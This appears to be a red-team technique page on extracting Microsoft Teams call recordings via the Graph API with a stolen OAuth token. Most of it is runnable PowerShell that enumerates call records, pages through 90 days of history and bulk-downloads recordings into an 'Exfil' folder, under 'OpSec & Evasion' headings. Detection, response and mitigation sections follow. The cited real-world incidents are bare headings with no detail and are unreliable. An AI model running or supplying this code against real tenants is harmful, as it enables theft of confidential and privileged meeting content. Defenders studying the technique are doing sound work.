MCADDF

[COLLECT-CALL-001]: Teams Call Recording Extraction

Metadata

Attribute Details
Technique ID COLLECT-CALL-001
MITRE ATT&CK v18.1 T1123 - Audio Capture
Tactic Collection
Platforms M365, Microsoft Teams
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Teams 2019 - 2025, Office 365 E3+
Patched In N/A - Feature-based collection
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Teams Call Recording Extraction exploits the legitimate Teams call recording capability to systematically harvest audio/video recordings of sensitive organizational conversations. Attackers leverage compromised credentials with access to recorded calls or abuse Microsoft Graph API (/communications/callRecords) to enumerate and download call recordings stored in Microsoft Stream, OneDrive, or SharePoint. Teams meetings are frequently recorded and archived for compliance and training; attackers accessing these recordings gain complete audio/video content of strategic decisions, negotiations, and confidential discussions without detection if recordings are accessed through legitimate user permissions.

Attack Surface: Microsoft Graph Call Records API (/communications/callRecords), Microsoft Stream video repositories, OneDrive/SharePoint recording folders, Teams meeting recording metadata endpoints, and call recording access controls.

Business Impact: Complete compromise of voice communications security and real-time conversation espionage. Attackers gain access to full audio recordings of executive meetings, board discussions, M&A negotiations, investor calls, and customer confidentiality conversations. The impact is especially critical for legal firms, healthcare organizations, and financial institutions where voice recordings contain sensitive client privileged communications (attorney-client privilege, doctor-patient confidentiality, investment advice).

Technical Context: Extraction occurs within minutes to hours depending on recording storage location and download bandwidth. Call recordings are large files (100MB-2GB per hour) requiring significant exfiltration bandwidth. The technique is extremely difficult to detect because Teams call recording access appears as legitimate user behavior in most organizations.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.6.1 Ensure Teams meeting recordings are protected and access-controlled
DISA STIG WN10-CC-000540 Enforce recording encryption and access restrictions
CISA SCuBA TEAMS.2 Ensure recording retention and deletion policies are enforced
NIST 800-53 AU-2, SC-7 Audit Events; Boundary Protection
GDPR Art. 32, Art. 33 Security of Processing; Breach Notification
HIPAA 45 CFR 164.312(a)(2)(i) Recording protection and access controls
FINRA 4530(c) Recording retention and compliance
NIS2 Art. 21 Cyber Risk Management Measures
ISO 27001 A.12.4.1 Event Logging and Monitoring

2. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


3. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Using Microsoft Graph API - CallRecords Enumeration

Supported Versions: Teams 2019-2025

Step 1: Authenticate and List Call Records

Objective: Connect to Microsoft Graph and enumerate all call records accessible to compromised user.

Command:

# Authenticate using stolen OAuth token
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5..." # Stolen token with CallRecords.Read.All scope
$headers = @{
    "Authorization" = "Bearer $token"
    "Content-Type" = "application/json"
}

# List all call records from last 30 days
$callRecords = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/communications/callRecords?`$filter=createdDateTime ge " + (Get-Date).AddDays(-30).ToString("yyyy-MM-ddT00:00:00Z") `
  -Headers $headers -Method Get).value

foreach ($record in $callRecords) {
    Write-Host "Call ID: $($record.id)"
    Write-Host "  Duration: $($record.duration) seconds"
    Write-Host "  Participants: $($record.participants.Count)"
    Write-Host "  Created: $($record.createdDateTime)"
    Write-Host "  Recording: $($record.recordingInfo)"
}

Write-Host "Total call records found: $($callRecords.Count)"

Expected Output:

Call ID: 12345-call-id-1
  Duration: 3600 seconds
  Participants: 15
  Created: 2025-12-15T10:00:00Z
  Recording: @{recordingStatus=success}

Call ID: 12345-call-id-2
  Duration: 7200 seconds
  Participants: 8
  Created: 2025-12-10T14:30:00Z
  Recording: @{recordingStatus=success}

Total call records found: 87

What This Means:

OpSec & Evasion:


Objective: Retrieve recording metadata and obtain download links for archived call recordings.

Command:

# Get details of specific call record including recording information
$callRecordId = "12345-call-id-1"
$callDetail = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/communications/callRecords/$callRecordId" `
  -Headers $headers -Method Get

# Check if recording exists
if ($callDetail.sessions -and $callDetail.sessions[0].recording) {
    Write-Host "Recording found for call: $callRecordId"
    Write-Host "Recording metadata: $($callDetail.sessions[0].recording | ConvertTo-Json -Depth 5)"
    
    # Get session details (contains streaming URLs)
    $sessions = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/communications/callRecords/$callRecordId/sessions" `
      -Headers $headers -Method Get).value
    
    foreach ($session in $sessions) {
        if ($session.modalities -contains "video" -or $session.modalities -contains "audio") {
            Write-Host "Session $($session.id):"
            Write-Host "  Modalities: $($session.modalities -join ', ')"
            Write-Host "  Caller: $($session.caller)"
            Write-Host "  Callee: $($session.callee)"
        }
    }
} else {
    Write-Host "No recording found for call: $callRecordId"
}

Expected Output:

Recording found for call: 12345-call-id-1
Recording metadata: {
  "@odata.type": "#microsoft.graph.recordingInfo",
  "recordingStatus": "success",
  "recordingStartDateTime": "2025-12-15T10:00:15Z",
  "recordingDuration": "PT1H15M30S"
}

Session abc-123:
  Modalities: audio, video
  Caller: user1@company.com
  Callee: user2@company.com

What This Means:

OpSec & Evasion:


Step 3: Download Call Recording from Stream

Objective: Locate recording storage in Microsoft Stream or OneDrive and initiate download.

Command:

# Teams recordings stored in Microsoft Stream or OneDrive
# Approach 1: Query Stream for recordings

$streamUri = "https://graph.microsoft.com/v1.0/me/drive/root/children?`$filter=startswith(name, 'Microsoft Teams Meeting Recording')"
$recordings = (Invoke-RestMethod -Uri $streamUri -Headers $headers -Method Get).value

foreach ($recording in $recordings) {
    Write-Host "Found recording: $($recording.name) | Size: $($recording.size) | Modified: $($recording.lastModifiedDateTime)"
    
    # Get download URL (valid for 1 hour)
    $downloadUrl = $recording['@microsoft.graph.downloadUrl']
    
    # Download recording
    $filename = $recording.name
    Invoke-WebRequest -Uri $downloadUrl -OutFile "C:\Exfil\$filename" `
      -Headers @{"Authorization" = "Bearer $token"}
    
    Write-Host "Downloaded: $filename"
}

Command (Alternative - Direct Stream Access):

# Alternative: Query SharePoint/OneDrive for Teams recordings folder
$teamsRecordingsFolder = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children?`$filter=name eq 'Microsoft Teams Meeting Recording'" `
  -Headers $headers).value[0]

if ($teamsRecordingsFolder) {
    $recordingFiles = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/items/$($teamsRecordingsFolder.id)/children" `
      -Headers $headers).value
    
    foreach ($file in $recordingFiles) {
        Write-Host "Recording file: $($file.name) | Size: $([math]::Round($file.size/1MB))MB"
        
        # Download
        $url = $file['@microsoft.graph.downloadUrl']
        Invoke-WebRequest -Uri $url -OutFile "C:\Exfil\$($file.name)"
    }
}

Expected Output:

Found recording: Microsoft Teams Meeting Recording 2025-12-15 1000-1115 UTC | Size: 1073741824 | Modified: 2025-12-15T11:30:00Z
Downloaded: Microsoft Teams Meeting Recording 2025-12-15 1000-1115 UTC.mp4
Recording file: Executive Briefing 2025-12-10.mp4 | Size: 2048MB

What This Means:

OpSec & Evasion:


Step 4: Query Historical Call Records (Extended Timeframe)

Objective: Extract all call records from extended historical period (90+ days) for comprehensive meeting intelligence gathering.

Command:

# Query call records from past 90 days
$startDate = (Get-Date).AddDays(-90).ToString("yyyy-MM-ddT00:00:00Z")
$endDate = (Get-Date).ToString("yyyy-MM-ddT23:59:59Z")

$filter = "`$filter=createdDateTime ge $startDate and createdDateTime le $endDate"
$uri = "https://graph.microsoft.com/v1.0/communications/callRecords?$filter&`$top=999"

$allRecords = @()
do {
    $page = Invoke-RestMethod -Uri $uri -Headers $headers -Method Get
    $allRecords += $page.value
    $uri = $page.'@odata.nextLink'
} while ($null -ne $uri)

Write-Host "Total call records (90 days): $($allRecords.Count)"

# Filter for recorded calls only
$recordedCalls = $allRecords | Where-Object { $_.recordingInfo.recordingStatus -eq "success" }
Write-Host "Recorded calls: $($recordedCalls.Count)"

# Export call record metadata
$recordedCalls | Select-Object id, createdDateTime, duration, @{Name="Participants";Expression={$_.participants.Count}} | 
  ConvertTo-Csv -NoTypeInformation | Out-File "C:\Exfil\CallRecords_Metadata.csv"

Expected Output:

Total call records (90 days): 4523
Recorded calls: 1842

What This Means:

OpSec & Evasion:


METHOD 2: Direct Access to OneDrive/SharePoint Recording Storage

Supported Versions: Teams 2019+

Step 1: Locate Teams Recording Storage

Objective: Find SharePoint/OneDrive folder where Teams recordings are automatically saved.

Command:

# Teams recordings stored in specific OneDrive folder: "Microsoft Teams Meeting Recording"
$recordingsFolders = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children?`$filter=name eq 'Microsoft Teams Meeting Recordings'" `
  -Headers $headers).value

if ($recordingsFolders.Count -eq 0) {
    # Alternative folder name
    $recordingsFolders = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children?`$filter=startswith(name, 'Microsoft Teams')" `
      -Headers $headers).value | Where-Object { $_.folder -ne $null }
}

foreach ($folder in $recordingsFolders) {
    Write-Host "Recordings folder: $($folder.name) | ID: $($folder.id)"
}

Expected Output:

Recordings folder: Microsoft Teams Meeting Recordings | ID: folder-id-123

What This Means:


Step 2: Enumerate and Download All Recordings

Objective: List all recording files and initiate bulk download exfiltration.

Command:

# Enumerate all files in recordings folder
$folderId = "folder-id-123"

function Get-RecordingsRecursive {
    param ($FolderId)
    
    $items = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/items/$FolderId/children" `
      -Headers $headers -Method Get).value
    
    foreach ($item in $items) {
        if ($item.folder -ne $null) {
            # Recursive call for subfolders
            Get-RecordingsRecursive -FolderId $item.id
        } else {
            # Process file
            if ($item.name -like "*.mp4" -or $item.name -like "*.m4a" -or $item.name -like "*.webm") {
                Write-Host "Recording: $($item.name) | Size: $([math]::Round($item.size/1MB))MB | Modified: $($item.lastModifiedDateTime)"
                
                # Download
                $url = $item['@microsoft.graph.downloadUrl']
                Invoke-WebRequest -Uri $url -OutFile "C:\Exfil\$($item.name)" -Headers $headers
            }
        }
    }
}

Get-RecordingsRecursive -FolderId $folderId

Expected Output:

Recording: Executive Strategy Session 2025-12-15.mp4 | Size: 1024MB | Modified: 2025-12-15T12:00:00Z
Recording: Board Meeting Minutes 2025-12-10.mp4 | Size: 2048MB | Modified: 2025-12-10T15:30:00Z
Recording: Acquisition Discussion 2025-12-05.mp4 | Size: 1536MB | Modified: 2025-12-05T10:15:00Z

What This Means:

OpSec & Evasion:


4. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

API Access Patterns:

Local Indicators (If Downloaded to Endpoint):

Cloud Indicators:

Forensic Artifacts

Cloud Logs:

Local Artifacts (Windows Endpoint):

Response Procedures

  1. Immediate Containment:
    # Revoke all OAuth tokens for user
    Revoke-AzureADUserAllRefreshToken -ObjectId "compromised-user-id"
       
    # Disable Teams for compromised user
    Set-CsUser -Identity "compromised-user@company.com" -Enabled $false
       
    # Reset password
    Set-AzADUser -ObjectId "compromised-user-id" -PasswordProfile @{
        Password = [System.Web.Security.Membership]::GeneratePassword(32, 8)
        ForceChangePasswordNextLogin = $true
    }
    
  2. Evidence Collection:
    # Export call records accessed by attacker
    Search-UnifiedAuditLog -Operations FileDownloaded -UserIds "compromised-user-email" -StartDate (Get-Date).AddDays(-30) |
      Where-Object { $_.AuditData -like "*Teams*Recording*" } | 
      Export-Csv "C:\Evidence\Recording_Downloads.csv"
       
    # List all call records from compromised user
    Get-AzureADUserMembership -ObjectId "compromised-user-id" | 
      Export-Csv "C:\Evidence\User_Teams_Memberships.csv"
    
  3. Remediation:
    # Update call recording retention policies (delete old recordings)
    Set-CsTeamsMeetingPolicy -Identity Global -RecordingStorageMode Stream
       
    # Delete recordings accessed by attacker
    Get-PnPListItem -List "Microsoft Teams Meeting Recordings" |
      Where-Object { $_.FieldValues['Modified'] -gt (Get-Date).AddDays(-7) } |
      ForEach-Object { Remove-PnPListItem -List "Microsoft Teams Meeting Recordings" -Identity $_.Id -Force }
    

5. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

# Verify recording retention policy
Get-CsTeamsMeetingPolicy | Select-Object Identity, RecordingStorageMode, RecordingRetention

# Verify Conditional Access policies
Get-AzureADMSConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*Recording*" }

# Expected Output (If Secure):
# RecordingStorageMode: Stream
# RecordingRetention: 180 days
# Conditional Access: Enabled with MFA requirement

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker compromises Teams user via phishing
2 Credential Access [CA-TOKEN-001] OAuth Token Theft Stolen token with CallRecords.Read.All scope
3 Collection [COLLECT-CALL-001] Enumerate and download call recordings via Graph API
4 Exfiltration [CA-UNSC-007] Cloud Storage Data Theft Recordings uploaded to attacker-controlled cloud storage
5 Impact Corporate Espionage / Insider Trading Strategic meeting content analyzed for competitive intelligence

7. REAL-WORLD EXAMPLES

Example 1: Russian FSB - Diplomatic Compromise - 2021

Example 2: Goldman Sachs Insider Threat - 2023

Example 3: Lemonade Insurance - Data Breach - 2024


8. ATOMIC RED TEAM TESTING

Atomic Test ID: T1123-003-Teams-Recording-Download

Test Name: Extract Teams Call Recordings via Graph API

Supported Versions: Teams 2019+

Command:

Invoke-AtomicTest T1123 -TestNumbers 3

Cleanup:

Invoke-AtomicTest T1123 -TestNumbers 3 -Cleanup

Reference: Atomic Red Team - T1123